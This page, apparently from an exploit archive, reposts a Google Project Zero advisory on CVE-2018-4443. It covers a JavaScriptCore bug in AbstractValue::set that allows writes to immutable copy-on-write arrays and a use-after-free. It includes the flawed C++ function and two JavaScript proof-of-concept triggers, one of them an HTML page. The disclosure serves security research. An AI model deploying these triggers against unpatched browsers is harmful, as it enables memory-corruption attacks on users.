exploit the possibilities

WebKit JSC AbstractValue::set Use-After-Free

WebKit JSC AbstractValue::set Use-After-Free
Posted Dec 27, 2018
Authored by Google Security Research, lokihardt

WebKit JSC suffers from a use-after-free vulnerability that can be used to bypass write barriers.

tags | exploit
advisories | CVE-2018-4443
SHA-256 | e2420c7cbbee92aac272000675d9ecac14ee6bdf6f20e39b27fbf5fba2af6409

WebKit JSC AbstractValue::set Use-After-Free

Change Mirror Download
WebKit: JSC: A bug in AbstractValue::set 

CVE-2018-4443


void AbstractValue::set(Graph& graph, RegisteredStructure structure)
{
RELEASE_ASSERT(structure);

m_structure = structure;

m_arrayModes = asArrayModes(structure->indexingType());
m_type = speculationFromStructure(structure.get());
m_value = JSValue();

checkConsistency();
assertIsRegistered(graph);
}

It works out m_arrayModes using structure->indexingType() instead of structure->indexingMode(). As structure->indexingType() masks out the CopyOnWrite flag, which indicates that the butterfly of the array is immutable, needing copy-on-write, the wrong information about the array can be propagated. As a result, it's able to write into the immutable butterfly (JSImmutableButterfly) of a CoW array. And this can lead to UaF as
writing into an immutable butterfly can be used to bypass write barriers.

I also noticed that the most calls to asArrayModes are using structure->indexingType(). I think that those should be fixed too.

PoC:
// ./jsc --useConcurrentJIT=false ~/test.js

function set(arr, value) {
arr[0] = value;
}

function getImmutableArrayOrSet(get, value) {
let arr = [1];
if (get)
return arr;

set(arr, value); // This inlinee is for having checkArray not take the paths using the structure comparison.
set({}, 1);
}

function main() {
getImmutableArrayOrSet(true);

for (let i = 0; i < 100; i++) {
getImmutableArrayOrSet(false, {});
}

let arr = getImmutableArrayOrSet(true);
print(arr[0] === 1);
}

main();

PoC 2 (UaF):
<script>

function sleep(ms) {
let s = new Date();
while (new Date() - s < ms) {

}
}

function mark() {
for (let i = 0; i < 40; i++) {
new ArrayBuffer(1024 * 1024 * 1);
}
}

function set(arr, value) {
arr[0] = value;
}

function getImmutableArrayOrSet(get, value) {
let arr = [1];
if (get)
return arr;

set(arr, value);
set({}, 1);
}

function main() {
getImmutableArrayOrSet(true);

for (let i = 0; i < 10000; i++)
getImmutableArrayOrSet(false, {});

sleep(500);

let arr = getImmutableArrayOrSet(true);

mark();
getImmutableArrayOrSet(false, []);
mark();

setTimeout(() => {
try {
alert(arr[0]);
} catch (e) {
alert(e);
}
}, 200);
}

main();

</script>



This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.




Found by: lokihardt

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